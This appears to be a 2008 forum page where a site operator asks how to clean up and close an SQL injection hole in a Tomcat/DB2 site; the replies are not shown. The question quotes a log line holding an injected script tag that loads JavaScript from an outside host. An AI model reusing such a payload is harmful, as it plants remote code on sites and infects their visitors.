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08.26.2008 at 10:47AM PDT, ID: 23679394
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8.4

SQL Injection attack

Asked by hockeyhalloffame in Networking Security Vulnerabilities, DB2 Database, Apache Tomcat Application Server

Tags: , , ,

Hello,

Over the past 48 hours we have been victim of an SQL injection attack.  Our site is hosted on apache for http and Tomcat for JSP applications.  Our backend database is DB2 V8.1.

This is what I see in the localhost log file from Tomcat:

java.lang.NumberFormatException: For input string: "11509<script src=http://www.upcomd.com/ngg.js></script>"


Everything after the "For input string" is not something our application generates.  That portion of code appears in the logs at several locations.

How do I get rid of it?

How do I plug the hole that allowed that code to be inserted?

Where was that code inserted?  I looked at my tables but found nothing.Start Free Trial
[+][-]08.26.2008 at 11:18AM PDT, ID: 22317666

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[+][-]08.26.2008 at 11:26AM PDT, ID: 22317760

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[+][-]08.26.2008 at 11:35AM PDT, ID: 22317850

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[+][-]08.26.2008 at 11:36AM PDT, ID: 22317856

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[+][-]08.26.2008 at 11:55AM PDT, ID: 22318091

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[+][-]08.26.2008 at 09:08PM PDT, ID: 22321775

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About this solution

Zones: Networking Security Vulnerabilities, DB2 Database, Apache Tomcat Application Server
Tags: MIcrosoft, DB2, JSP, Windows Server 2003, DB2 8.1, Web-server
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Solution Provided By: Venabili
Participating Experts: 3
Solution Grade: A
 
 
[+][-]08.27.2008 at 08:46AM PDT, ID: 22326134

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